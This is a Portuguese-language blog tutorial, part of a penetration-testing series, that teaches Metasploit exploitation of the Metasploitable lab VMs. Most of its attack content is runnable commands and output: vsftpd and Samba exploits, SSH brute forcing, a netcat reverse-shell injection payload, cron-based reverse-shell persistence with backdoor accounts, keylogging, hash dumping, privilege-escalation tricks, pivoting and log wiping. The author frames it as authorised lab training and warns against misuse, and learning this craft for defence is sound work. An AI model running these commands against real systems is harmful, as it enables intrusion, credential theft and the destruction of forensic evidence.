Menu
Sobre Serviços Trajetória Trabalhe Comigo
Cybersecurity concept visualization
Segurança 8 mar, 2026 • 28 min de leitura

Exploração: Da Vulnerabilidade ao Shell

Master Metasploit Framework, exploit real vulnerabilities, escalate privileges, and pivot through networks. The complete guide to ethical exploitation techniques.

Compartilhar:
Lee Foropoulos

Lee Foropoulos

28 min de leitura

O Caminho do Hacker: Série de 5 Partes

Parte 1: IntroduçãoParte 2: Domínio do FlipperParte 3: Fundamentos do KaliParte 4: ExploitationParte 5: A Auditoria Completa

Nas Partes 1-3, você construiu seu toolkit. Consegue clonar crachás, mapear redes, capturar handshakes e identificar cada serviço rodando num alvo. Agora você vê vulnerabilidades em todo lugar. Mas ver uma vulnerabilidade e explorá-la são habilidades muito diferentes.

É aqui que as coisas ficam reais. Hoje você vai aprender a usar o Metasploit Framework, a mesma ferramenta usada por penetration testers profissionais no mundo todo. Vai explorar sua primeira vulnerabilidade, estabelecer persistence, escalar privilégios e aprender a fazer pivot numa rede.

A Linha que Você Não Deve Cruzar

Tudo neste artigo deve ser praticado em sistemas que você possui ou tem permissão escrita explícita para testar. Acesso não autorizado a sistemas computacionais é crime federal com penas de até 20 anos de prisão. "Eu estava só aprendendo" não é defesa. Monte um laboratório, use VMs intencionalmente vulneráveis e nunca toque em sistemas que não são seus.

Parte 1: Montando Seu Laboratório de Ataque

Antes de explorar qualquer coisa, você precisa de alvos. Penetration testers reais usam ambientes de laboratório isolados com máquinas intencionalmente vulneráveis. Você fará o mesmo.

A Configuração Essencial do Laboratório

O Que Você Vai Precisar

  • Kali Linux VM - Sua máquina de ataque (da Parte 3)
  • Metasploitable 2 - VM Linux intencionalmente vulnerável (SourceForge)
  • Metasploitable 3 - VM vulnerável Windows/Linux (GitHub)
  • DVWA - Damn Vulnerable Web Application (GitHub)
  • VulnHub VMs - Máquinas vulneráveis estilo CTF (vulnhub.com)

Projeto: Configuração da Rede do Laboratório

Tempo: 45 minutos

  1. Baixe o Metasploitable 2 do SourceForge
  2. Importe no VirtualBox/VMware
  3. Configure a rede: Coloque tanto o Kali quanto o Metasploitable em "Host-Only" ou "Internal Network"
  4. Inicie o Metasploitable (login padrão: msfadmin / msfadmin)
  5. Anote o endereço IP: ifconfig
  6. Do Kali, verifique a conectividade: ping METASPLOITABLE_IP
  7. Execute o scan inicial: sudo nmap -sV -sC METASPLOITABLE_IP

Verificação: Você deve ver dezenas de portas abertas. O Metasploitable foi projetado para ser comprometido.

Seu scan nmap do Metasploitable deve revelar serviços como FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL e outros, muitos rodando versões desatualizadas e vulneráveis. Este é seu campo de testes.

Parte 2: Fundamentos do Metasploit Framework

Metasploit não é apenas uma ferramenta. É um ecossistema. Contém milhares de exploits, payloads, módulos auxiliares e ferramentas de post-exploitation. Entender sua estrutura é essencial.

4,000+
Módulos de exploit disponíveis no Metasploit Framework, cobrindo todas as principais plataformas e classes de vulnerabilidade.

Iniciando o Metasploit

bash# Initialize the database (first time only)
sudo msfdb init

# Start Metasploit console
msfconsole

# You'll see the Metasploit banner and prompt:
msf6 >

A Estrutura do Metasploit

O Metasploit organiza tudo em módulos:

  • Exploits - Código que explora vulnerabilidades
  • Payloads - Código executado após a exploração (shells, meterpreter)
  • Auxiliary - Scanners, fuzzers e outros utilitários
  • Post - Módulos de post-exploitation para persistence, pivoting
  • Encoders - Ofuscação de payloads para evadir detecção
bash# Search for modules
msf6 > search type:exploit platform:linux smb

# Search by CVE
msf6 > search cve:2017-0144

# Search by name
msf6 > search vsftpd

# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

O Fluxo de Trabalho de Exploitation

Toda exploitation no Metasploit segue o mesmo padrão:

  1. Selecione um exploit - use exploit/path/to/module
  2. Configure as opções - IP do alvo, portas, credenciais
  3. Selecione um payload - O que roda após a exploração
  4. Execute - exploit ou run
Cybersecurity operations with code on multiple screens
O Metasploit Framework fornece uma abordagem estruturada para exploitation, transformando pesquisa de vulnerabilidades em fluxos de trabalho profissionais e repetíveis.

Parte 3: Seu Primeiro Exploit

Vamos explorar um dos backdoors mais famosos da história: o backdoor vsftpd 2.3.4. Em 2011, alguém inseriu um backdoor no código-fonte do vsftpd. Se você enviar um nome de usuário terminando em :), um shell abre na porta 6200.

O Metasploitable 2 roda exatamente essa versão.

bash# Start Metasploit
msfconsole

# Search for the exploit
msf6 > search vsftpd

# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101

# Run the exploit
msf6 exploit(...) > exploit

# If successful:
[*] Command shell session 1 opened
[+] Got shell!

# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)

É isso. Um serviço vulnerável, um exploit, acesso root. É por isso que manter o software atualizado importa.

Um serviço vulnerável, um exploit, acesso root. É por isso que manter o software atualizado importa.

Projeto: Explorar o Backdoor vsftpd

Tempo: 15 minutos

Pré-requisitos: Metasploitable 2 rodando, Kali na mesma rede

  1. Verifique se o FTP está rodando: nmap -sV -p 21 TARGET_IP
  2. Inicie o msfconsole
  3. Procure, selecione e configure o exploit vsftpd
  4. Execute o exploit
  5. Após obter o shell, explore: cat /etc/shadow

Critérios de sucesso: Você consegue ler /etc/shadow, que só o root pode acessar.

Parte 4: Entendendo Payloads

Um payload é o que roda após o exploit ter sucesso. O shell básico que obtivemos acima é simples, mas o Metasploit oferece opções muito mais poderosas.

Tipos de Payload

  • Singles - Payloads autônomos, de uso único (adicionar usuário, executar comando)
  • Stagers - Pequenos payloads que estabelecem conexão e depois baixam o payload principal
  • Stages - O payload principal baixado pelo stager (Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads

# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp

# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcp

Reverse vs Bind Shells

  • Reverse shell - O alvo se conecta de volta a você. Melhor para contornar firewalls (saída geralmente é permitida).
  • Bind shell - O alvo abre uma porta para você se conectar. Mais fácil de detectar, frequentemente bloqueado por firewalls.
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444

# Metasploit starts a listener automatically when you exploit

Meterpreter: O Payload Definitivo

O Meterpreter é o payload mais poderoso do Metasploit. Roda inteiramente em memória (sem arquivos no disco), fornece comunicação criptografada e inclui dezenas de comandos integrados para post-exploitation.

bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo          # System information
meterpreter > getuid           # Current user
meterpreter > pwd              # Current directory
meterpreter > ls               # List files
meterpreter > download file    # Download file to Kali
meterpreter > upload file      # Upload file to target
meterpreter > shell            # Drop to system shell
meterpreter > hashdump         # Dump password hashes
meterpreter > screenshot       # Take screenshot
meterpreter > keyscan_start    # Start keylogger
meterpreter > keyscan_dump     # Dump keystrokes
meterpreter > background       # Background this session

Parte 5: Mais Técnicas de Exploitation

Explorando Samba (SMB)

O Metasploitable 2 roda uma versão vulnerável do Samba. Isso é similar ao infame exploit EternalBlue usado no WannaCry.

bash# Search for Samba exploits
msf6 > search type:exploit samba

# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

Explorando Credenciais Fracas

Nem todo comprometimento requer uma vulnerabilidade de software. Senhas fracas estão em todo lugar.

bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run

# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Exploitation de Aplicações Web

O Metasploitable inclui várias aplicações web vulneráveis. Vamos explorar uma injeção de código PHP.

bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)

# Use Metasploit's web exploits
msf6 > search type:exploit php

# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444

Projeto: Explorar Três Serviços Diferentes

Tempo: 60 minutos

Alvo: Metasploitable 2

  1. Explore o backdoor vsftpd (FTP - porta 21) e obtenha root shell
  2. Explore o Samba usermap_script (SMB - porta 139/445) e obtenha root shell
  3. Quebre credenciais SSH (porta 22) usando auxiliary/scanner/ssh/ssh_login
  4. Documente cada exploitation: módulo usado, opções configuradas, resultado

Bônus: Explore as aplicações web na porta 80 e encontre vetores de exploitation manuais.

Parte 6: Post-Exploitation

Obter um shell é só o começo. Penetration tests reais exigem demonstrar o que um atacante poderia fazer com esse acesso. Isso é post-exploitation.

Coleta de Informações

text# From a Meterpreter session
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux

# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arp
bash# From a regular shell
cat /etc/passwd       # All users
cat /etc/shadow       # Password hashes (requires root)
cat /etc/hosts        # Network mappings
netstat -tulpn        # Open ports
ps aux                # Running processes
crontab -l            # Scheduled tasks

Coleta de Credenciais

text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash
bash# Or from shell
cat /etc/shadow

# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

Estabelecendo Persistence

Persistence significa manter o acesso mesmo após reinicializações ou quando seu vetor de exploit inicial foi corrigido.

bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker

# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys

# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root

# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP

Persistence = Evidência

Todo mecanismo de persistence deixa rastros. Num penetration test real, você documenta o que poderia fazer e depois limpa. Deixar backdoors em sistemas de clientes é antiprofissional e potencialmente ilegal. No seu laboratório, vá fundo, mas entenda as implicações.

Parte 7: Escalação de Privilégios

Frequentemente você obtém acesso inicial como um usuário de baixo privilégio. Escalar para root/admin geralmente é necessário para atingir os objetivos do teste.

Escalação de Privilégios no Linux

bash# Current user context
id
whoami

# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null

# World-writable directories
find / -writable -type d 2>/dev/null

# Sudo permissions
sudo -l

# Kernel version (for kernel exploits)
uname -a

# Running processes as root
ps aux | grep root

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

Scripts de Enumeração Automatizados

bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000

# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitable

Vetores Comuns de Privesc no Linux

bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell

# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;

# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd

# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shell

Escalação de Privilégios no Windows

Se estiver testando alvos Windows (Metasploitable 3), as técnicas são diferentes:

text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user

meterpreter > getsystem
[+] ...got SYSTEM

# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester

# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploit

Projeto: Escalar de Usuário para Root

Tempo: 45 minutos

Cenário: Você tem acesso SSH ao Metasploitable como msfadmin (não root)

  1. SSH para o Metasploitable: ssh msfadmin@TARGET
  2. Execute id para confirmar que não é root
  3. Verifique permissões sudo: sudo -l
  4. Procure binários SUID: find / -perm -4000 2>/dev/null
  5. Faça upload e execute o LinPEAS
  6. Identifique um vetor de privesc e explore-o

Objetivo: Obter root shell usando algo diferente de explorar um serviço de rede.

Hacker working on code in a dark environment
A escalação de privilégios transforma acesso limitado em controle total do sistema, frequentemente através de configurações incorretas negligenciadas em vez de exploits sofisticados.

Parte 8: Pivoting

Pivoting é usar um sistema comprometido para atacar outros sistemas que não são diretamente acessíveis pela sua máquina de ataque. É assim que atacantes se movem lateralmente pelas redes.

O Cenário de Pivot

Imagine esta rede:

  • Seu Kali: 192.168.1.100
  • Host comprometido: 192.168.1.50 (também conectado à rede interna 10.0.0.0/24)
  • Alvo: 10.0.0.10 (acessível apenas pelo 192.168.1.50)

Você não consegue alcançar 10.0.0.10 diretamente. Mas através do host comprometido, consegue.

Roteamento do Metasploit

text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50

meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1

meterpreter > background

# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print

# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run

# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploit

SOCKS Proxy para Acesso Completo

bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run

# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080

# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]

SSH Tunneling (Sem Metasploit)

bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host

# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80

# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444

Parte 9: Cobrindo Rastros

Penetration testers profissionais documentam seu acesso mas limpam depois. Entender como atacantes cobrem rastros também ajuda a detectar intrusões.

bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history

# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp

# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log

# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file

# Meterpreter
meterpreter > clearev          # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"

Em Trabalhos Reais: Não Faça Isso

Pentesters profissionais documentam seu acesso e reportam suas descobertas. Não as escondem. Limpar logs destrói evidências que os defensores precisam para entender o caminho do ataque. Pratique estas técnicas apenas no seu ambiente de laboratório isolado.

O Caminho do Hacker

Uma série de 5 partes que leva você de curioso a capaz.

Parte 1: Introdução Parte 2: Domínio do Flipper Parte 3: Fundamentos do Kali Parte 4: Exploitation ✓ Parte 5: Auditoria Completa

Checklist da Parte 4

☐ Setup do Laboratório: Metasploitable 2 rodando, rede isolada configurada

☐ Metasploit: Banco de dados inicializado, navegação básica dominada

☐ Primeiro Exploit: Backdoor vsftpd explorado, root shell obtido

☐ Múltiplos Vetores: FTP, SMB explorados e credenciais SSH quebradas

☐ Post-Exploitation: Hashes de senha extraídos, sistema enumerado

☐ Escalação de Privilégios: Escalou de usuário para root sem exploit de rede

☐ Pivoting: Conceitos de autoroute e SOCKS proxy compreendidos

☐ Documentação: Todos os exploits documentados com passos e evidências

Plano de Ação de Habilidades de Exploitation 0/5

O Que Vem Depois

Você aprendeu a explorar vulnerabilidades, escalar privilégios e fazer pivot através de redes. Viu como rapidamente uma única fraqueza se torna um comprometimento total. Você entende o que penetration testers profissionais fazem.

Na Parte 5, juntamos tudo. Você conduzirá uma auditoria de segurança completa do início ao fim:

  • Escopo e regras de engajamento
  • Metodologia completa de reconhecimento
  • Exploitation sistemático
  • Post-exploitation abrangente
  • Relatório profissional
  • Recomendações de remediação

A Parte 5 é o ponto alto. Tudo que você aprendeu nesta série se une numa metodologia do mundo real que pode usar para avaliar a segurança de qualquer rede que esteja autorizado a testar.

Você aprendeu as técnicas. Agora aprende a metodologia. A Parte 5 transforma habilidades num fluxo de trabalho completo de penetration testing.

Nos vemos na Parte 5.

How was this article?

Compartilhar

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

Nao perca nenhuma publicacao

Receba notificacoes quando novos artigos forem publicados. Sem necessidade de email.

Voce vera um banner no site quando houver um novo post, alem de uma notificacao do navegador se permitir.

Apenas notificacoes do navegador. Sem spam.